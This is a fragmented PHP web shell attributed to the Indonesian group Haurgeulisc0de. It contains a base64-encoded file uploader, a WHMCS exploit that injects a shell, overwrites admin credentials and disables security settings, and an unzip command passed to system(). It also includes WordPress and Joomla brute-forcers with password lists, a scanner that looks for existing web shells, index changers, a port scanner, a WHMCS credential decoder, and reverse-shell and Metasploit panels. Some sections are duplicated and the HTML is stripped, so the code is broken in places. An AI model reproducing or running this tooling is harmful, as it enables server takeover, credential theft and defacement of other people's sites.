wWmlnZ0pGOVFUMU5VV3lkZmRYQnNKMTBnUFQwZ0lsVndiRzloWkNJZ0tTQjdEUXBwWmloQVkyOXdlU2drWDBaSlRFVlRXeWRtYVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZlVFOVRWRnNuZFhCc2IyRmtkRzhuWFM0bkx5Y3VKRjlHU1V4RlUxc25abWxzWlNkZFd5ZHVZVzFsSjEwcEtTQjdEUW9OQ21WamFHOGdKenhtYjI1MElHTnZiRzl5UFNKc2FXMWxJajViSzEwZ1ZYQnNiMkZrSUZOMWEzTmxjeUE2ZGlBOFluSXZQaUJiSzEwZ0p5NGtYMUJQVTFSYkozVndiRzloWkhSdkoxMHVJaThpTGlSZlJrbE1SVk5iSjJacGJHVW5YVnNuYm1GdFpTZGRPdzBLZlNCbGJITmxJSHNOQ21WamFHOGdKMXQrWFNCVmNHeHZZV1FnUm1GcGJHVmtJRlJmVkNCYmZsMDhMMlp2Ym5RK1BHSnlQaWM3RFFwOUlIME5DajgrRFFvPScpOw0KDQokZm9wZW4gPSBmb3BlbiAoJ2RtLnBocCcsJ3cnKTsNCiR3cml0ZSAgPSBmd3JpdGUoJGZvcGVuICwgJGMwZGUpOw=='));{/php}

[~] Coded By Mr.HaurgeulisX196
[~] Thanks To Indramayu BlackHat
[~] Thanks To All Member Haurgeulisc0de"; $anu1 = $_POST['anu1']; $anu2 = $_POST['anu2']; $anu3 = $_POST['anu3']; $anu4 = $_POST['anu4']; @mysql_connect($anu1, $anu3, $anu4); @mysql_select_db($anu2); $shell = str_replace("'", "'", $shell); $gosok_shell = $_POST['shell']; $idmaho = str_replace("\'", "'", $idmaho); $target_id = $_POST['idmaho']; $userbaru = str_replace("\'", "'", $userbaru); $ganti_user = $_POST['userbaru']; $passbaru = str_replace("\'", "'", $passbaru); $hash_pass = $_POST['passbaru']; $ganti_pass = md5($hash_pass); $colok1 = "UPDATE tblemailtemplates SET message ='" . $gosok_shell . "' WHERE id ='9'"; $colok2 = "UPDATE tbladmins SET username ='" . $ganti_user . "' WHERE id ='" . $target_id . "'"; $colok3 = "UPDATE tbladmins SET password ='" . $ganti_pass . "' WHERE id ='" . $target_id . "'"; $crot1 = "UPDATE tblconfiguration SET value='' WHERE setting='InvalidLoginBanLength'"; $crot2 = "UPDATE tblconfiguration SET value='' WHERE setting='AdminForceSSL'"; $crot3 = "UPDATE tblconfiguration SET value='' WHERE setting='RequiredPWStrength'"; $crot4 = "UPDATE tblconfiguration SET value='' WHERE setting='MaintenanceMode'"; $crot5 = "UPDATE tblconfiguration SET value='' WHERE setting='APIAllowedIPs'"; $crot6 = "UPDATE tblconfiguration SET value='' WHERE setting='LoginFailures'"; $crot7 = "UPDATE tblconfiguration SET value='' WHERE setting='InstanceID'"; $crot8 = "UPDATE tblconfiguration SET value='' WHERE setting='WhitelistedIPs'"; $crot9 = "UPDATE tblconfiguration SET value='' WHERE setting='ToggleInfoPopup'"; $crot10 = "UPDATE tblconfiguration SET value='' WHERE setting='token_namespaces'"; $udah_ganteng = @mysql_query($crot1); $udah_ganteng = @mysql_query($crot2); $udah_ganteng = @mysql_query($crot3); $udah_ganteng = @mysql_query($crot4); $udah_ganteng = @mysql_query($crot5); $udah_ganteng = @mysql_query($crot6); $udah_ganteng = @mysql_query($crot7); $udah_ganteng = @mysql_query($crot8); $udah_ganteng = @mysql_query($crot9); $udah_ganteng = @mysql_query($crot10); $udah_ganteng = @mysql_query($colok1); $udah_ganteng = @mysql_query($colok2); $udah_ganteng = @mysql_query($colok3); if ($udah_ganteng) { echo "SUKSES BOS GANTENG :P"; } } elseif (isset($_GET['x']) && ($_GET['x'] == 'unzip')) { ?>

[+] PROSES BONGKAR [+]

"; system('unzip -o ' . $file); exit; } $handler = opendir("."); echo "

Pilih File Yg Mau Di Unzip :
" . "
"; echo ''; $found = false; while ($file = readdir($handler)) { if (preg_match("/.zip$/i", $file)) { echo ' ' . $file . '
'; $found = true; } } closedir($handler); if ($found == false) echo "

[+] GA ADA FILE EXTENSI ZIP [+]
"; else echo '

'; echo ""; ?>
null, 'type' => null, 'substring' => null, 'reason' => null); private $arrCardTypes = array('amex' => array('name' => 'American Express', 'active' => true, 'iinrange' => '34,37', 'length' => 15), 'discover' => array('name' => 'Discover', 'active' => true, 'iinrange' => '6011,622126-622925,644-649,65', 'length' => 16), 'mastercard' => array('name' => 'MasterCard', 'active' => true, 'iinrange' => '51-55', 'length' => 16), 'visa' => array('name' => 'VISA', 'active' => true, 'iinrange' => '4', 'length' => 16)); private $arrAcceptedMII = array(3, 4, 5, 6); public function Validate($strCardNumber = null, $strCardType = null) { if ($strCardNumber === null) { $this->arrCardInfo['failure'] = 'format'; $this->arrCardInfo['status'] = 'invalid'; return false; } if (($strCardType !== null) && !in_array($strCardType, $this->arrCardTypes)) { $this->arrCardInfo['failure'] = 'cardtype'; $this->arrCardInfo['status'] = 'invalid'; return false; } if (!$this->CheckMII($strCardNumber)) { $this->arrCardInfo['failure'] = 'mii'; $this->arrCardInfo['status'] = 'invalid'; return false; } if (!$this->CheckIIN($strCardNumber)) { $this->arrCardInfo['failure'] = 'iin'; $this->arrCardInfo['status'] = 'invalid'; return false; } if (!$this->CheckLuhn($strCardNumber)) { $this->arrCardInfo['failure'] = 'algorithm'; $this->arrCardInfo['status'] = 'invalid'; return false; } $this->arrCardInfo['status'] = 'valid'; $this->arrCardInfo['substring'] = $this->GetCardSubstring($strCardNumber); return true; } private function CleanCardNumber($strCardNumber = null) { return preg_replace('/[^0-9]/', '', $strCardNumber); } private function GetCardSubstring($strCardNumber = null) { if (strstr($strCardNumber, '*') && (substr($strCardNumber) < 10)) return $strCardNumber; $strCardNumber = $this->CleanCardNumber($strCardNumber); return $strCardNumber ? '***' . substr($strCardNumber, (strlen($strCardNumber) - 4), 4) : ''; } private function CheckMII($strCardNumber = null) { $strCardNumber = $this->CleanCardNumber($strCardNumber); if (!$strCardNumber) return false; $intFirstDigit = (int)substr($strCardNumber, 0, 1); if (!in_array($intFirstDigit, $this->arrAcceptedMII)) return false; return true; } private function CheckLuhn($strCardNumber = null) { $strCardNumber = (string)$this->CleanCardNumber($strCardNumber); $strCheckDigit = substr($strCardNumber, (strlen($strCardNumber) - 1), 1); $strCardNumberReverse = strrev($strCardNumber); $intTotal = 0; for ($i = 1;$i <= strlen($strCardNumberReverse);$i++) { $intVal = (int)($i % 2) ? $strCardNumberReverse[$i - 1] : ($strCardNumberReverse[$i - 1] * 2); if ($intVal > 9) { $strVal = (string)$intVal; $intVal = (int)($strVal[0] + $strVal[1]); } $intTotal+= $intVal; } // Now check to see if our sum mod 10 == 0 return (($intTotal % 10) == 0) ? true : false; } # END METHOD CheckLuhn() private function CheckIIN($strCardNumber = null) { // Clean the number passed in $strCardNumber = $this->CleanCardNumber($strCardNumber); // Gotta have a number passed in if (!$strCardNumber) return false; // This will hold any matches. Hopefully we'll only have one! $arrCardTypePossibilities = array(); // Loop through all the accepted card types, and check our num against them foreach ($this->arrCardTypes as $strShortName => $arrCardType) { // Only if it's active! if ($arrCardType['active'] === true) { // First, do the easy job of checking the length $strLen = strlen($strCardNumber); if ($strLen == $arrCardType['length']) { // Now, unpack the IINs and compare against them // This will get all the "range sets", which are the comma delimited items $arrRangeSets = explode(',', $arrCardType['iinrange']); foreach ($arrRangeSets as $strRangeSetItem) { // Get any ranges that are hyphen delimited items, denoting ranges $arrStrRanges = explode('-', $strRangeSetItem); // arrStrRanges should contain either an array (if it was a hyphenated range) // or a single number. If it's an array, we need to check overy value in the range. // Check every value in the range if (count($arrStrRanges) > 1) { for ($i = $arrStrRanges[0];$i <= $arrStrRanges[1];$i++) { if ((strpos((string)$strCardNumber, (string)$i) === 0) && !in_array($strShortName, $arrCardTypePossibilities)) $arrCardTypePossibilities[] = $strShortName; } // Check against one value } else { if ((strpos((string)$strCardNumber, (string)trim($arrStrRanges[0])) === 0) && !in_array($strShortName, $arrCardTypePossibilities)) $arrCardTypePossibilities[] = $strShortName; } } # end range sets foreach loop } # end length conditional } # end active conditional } # end card types loop // Now assign the possible card type values to the arrCardInfo property $this->arrCardInfo['type'] = implode('|', $arrCardTypePossibilities); // Return true if we found at least one possibile type return count($arrCardTypePossibilities) ? true : false; } # END METHOD CheckIIN() /** * Simply returns the otherwise inaccessible protected * property arrCardInfo * @param void * @return array The arrCardInfo property * @access public */ public function GetCardInfo() { return $this->arrCardInfo; } # END METHOD GetCardInfo() /** * Will return the literal / friendly name value for the card * @param string strCardShortName E.g. "amex" or "visa" * @return string * @access public */ public function GetCardName($strCardShortName = null) { return isset($this->arrCardTypes[$strCardShortName]['name']) ? $this->arrCardTypes[$strCardShortName]['name'] : ''; } # END METHOD GetCardName() } $CCV = new CreditCardValidator(); if (isset($_POST['cardnum'])): $CCV->Validate($_POST['cardnum']); $CARDINFO = $CCV->GetCardInfo(); endif; ?> Credit Card Validation - Test Page
Credit Card Tester

Card Number
> Show Geeky Output

Result

Status:
Card Type: GetCardName($CARDINFO['type']); ?>

Geeky Result <?php print_r($CCV); ?>

URL TARGET :

INPUT NAMA FILE / SHELL

b374k-2.7.php WSO-2.7.php WSO.php dz.php cpanelcracker.php blackshadow.php sym.php ftpcracker.php cpanel.php cpn.php sql.php mysql.php madspot.php itsecteam_shell.php b374k.php madsopot.php indishell.php Cgishell.pl killer.php changeall.php 2.php Sh3ll.php dz0.php dam.php user.php dom.php whmcs.php r00t.php c99.php gaza.php q.php 1.php d0mains.php madspotshell.php Sym.php c22.php c100.php Cpanel.php zone-h.php cp.php L3b.php d.php admin1.php upload.php up.php uploads.php sa.php r57.php shell.php sa.php

"; $webz = $_POST['rem_web']; $uri_in = $_POST['tryzzz']; $r_xuri = trim($uri_in); $r_xuri = explode(" ", $r_xuri); foreach ($r_xuri as $rty) { $urlzzx = $webz . $rty; if (function_exists('curl_init')) { echo ""; $ch = curl_init($urlzzx); curl_setopt($ch, CURLOPT_NOBODY, true); curl_exec($ch); $status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($status_code == 200) { echo ""; } else { echo ""; } } else { echo "cURL Not Found "; } } echo "
Checking : $urlzzx Found....
Not Found...

Folder
file name
Index code

Joomla Brute Force
User :
Sites list :	Pass list :
	admin 123456 password 102030 123123 12345 123456789 pass test admin123 demo !@#$%^

Joomla Brute Force

User :

Sites list :

Pass list :

Vb Index Changer
host
database
username
password
Your Index Code

Connect to mySQL server
Hostname
Database
username
password
User baru
Pass Baru

Connect to mySQL server

Hostname

Database

username

password

User baru

Pass Baru

Connect to mySQL
Host
Database
username
password
User baru
pass baru	123456 =

Connect to mySQL

Host

Database

username

password

User baru

pass baru

123456 =

Wordpress Brute Force
	Hosts:	Users:	Passwords:
	<?php if ($_POST) { echo $_POST['hosts']; } ?>	<?php if ($_POST) { echo $_POST['usernames']; } else { echo "admin"; } ?>	<?php if ($_POST) { echo $_POST['passwords']; } else { echo "admin administrator 123123 123321 123456 1234567 12345678 123456789 123456123456 admin2010 admin2011 password P@ssW0rd !@#$%^ !@#$%^&( (&^%$#@! 111111 222222 333333 444444 555555 666666 777777 888888 999999"; } ?>
" . $host . " => Error In Login Page ! "; ob_flush(); flush(); continue; } foreach ($usernames_explode as $username) { foreach ($passwords_explode as $password) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $host . '/wp-login.php'); curl_setopt($ch, CURLOPT_COOKIEJAR, "coki.txt"); curl_setopt($ch, CURLOPT_COOKIEFILE, "coki.txt"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_POST, TRUE); curl_setopt($ch, CURLOPT_POSTFIELDS, "log=" . $username . "&pwd=" . $password . "&wp-submit=Giri‏" . "&redirect_to=" . $wpAdmin . "&testcookie=1"); $login = curl_exec($ch); if (eregi("profile.php", $login)) { $hacked = 1; echo " " . $host . " => UserName : [" . $username . "] : Password : [" . $password . "] "; ob_flush(); flush(); break; } } if ($hacked == 1) { break; } } if ($hacked == 0) { echo " " . $host . " => Failed ! "; ob_flush(); flush(); } } } else { echo " All fields are Required ! "; } } ?>

Wordpress Brute Force

Hosts:

Users:

Passwords:

" . $host . " => Error In Login Page !

"; ob_flush(); flush(); continue; } foreach ($usernames_explode as $username) { foreach ($passwords_explode as $password) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $host . '/wp-login.php'); curl_setopt($ch, CURLOPT_COOKIEJAR, "coki.txt"); curl_setopt($ch, CURLOPT_COOKIEFILE, "coki.txt"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_POST, TRUE); curl_setopt($ch, CURLOPT_POSTFIELDS, "log=" . $username . "&pwd=" . $password . "&wp-submit=Giri‏" . "&redirect_to=" . $wpAdmin . "&testcookie=1"); $login = curl_exec($ch); if (eregi("profile.php", $login)) { $hacked = 1; echo "

" . $host . " => UserName : [" . $username . "] : Password : [" . $password . "]

"; ob_flush(); flush(); break; } } if ($hacked == 1) { break; } } if ($hacked == 0) { echo "

" . $host . " => Failed !

"; ob_flush(); flush(); } } } else { echo "

All fields are Required !

"; } } ?>

Backup Database
DB Type:
Server:
Username:
Password:
Data Base Name:

Filename	" . $file . "
Size	" . ukuran($file) . "
Permission	" . get_perms($file) . "
Owner	" . $owner . "
Create time	" . date("d-M-Y H:i", @filectime($file)) . "
Last modified	" . date("d-M-Y H:i", @filemtime($file)) . "
Last accessed	" . date("d-M-Y H:i", @fileatime($file)) . "
Actions	edit \| rename \| delete \| download (gzip)
View	text \| code \| image

English	Indonesian
E-book Hacking :	Tutorial by X'1N73CT :
E-Book from Syn\|gress :	X-CODE MAGAZINE :

Server IP :	' . $ip . '
Sites Found :	' . count(array_unique($allDmns)) . '

Port Scanner
Host
Port start
Port end

.(.).*

in exceptional circumstances :

Scan Results :

--=[~] Haurgeulisc0de [~]=--

WHMCS Inject Shell | Auto Bypass Security Token | Login Changer Tools

Credit Card Tester

Result

^_^ Haurgeulisc0de ^_^

PHPNuke UsEr-PaSs FuCk3r

^_^ Haurgeulisc0de ^_^

TraindtUp UsEr-PaSs FuCk3r

^_^ Haurgeulisc0de ^_^

PHPNuke UsEr-PaSs FuCk3r

+--=[ VB Index Changer ]=--+

"; echo $liz0; echo $liz0zim; echo "

+--=[ Symlink ]=--+

+--=[ local domain viewer ]=--+

Reverse shell ( php )

Metasploit Connection

Type	$type
Active	$active
Hostname	$hostname
Ip	$ipaddress
Username	$username
Password	$password

[+] There are : [ " . count($domains) . " ] Domain
Domain	User
$domain	" . $user['name'] . "

$prompt
view file/folder

<?php echo $content; ?>
Save as

WHMCS Decoder
db_host
db_username
db_password
db_name
cc_encryption_hash

Registrar	Setting	Value
$registrar	$setting	$value

in exceptional circumstances :

Scan Results :

--=[~] Haurgeulisc0de [~]=--

WHMCS Inject Shell | Auto Bypass Security Token | Login Changer Tools

Credit Card Tester

Result

^_^ Haurgeulisc0de ^_^

PHPNuke UsEr-PaSs FuCk3r

^_^ Haurgeulisc0de ^_^

TraindtUp UsEr-PaSs FuCk3r

^_^ Haurgeulisc0de ^_^

PHPNuke UsEr-PaSs FuCk3r

.*(.*).*

+--=[ VB Index Changer ]=--+

"; echo $liz0; echo $liz0zim; echo "

+--=[ Symlink ]=--+

+--=[ local domain viewer ]=--+

Reverse shell ( php )

Metasploit Connection

.(.).*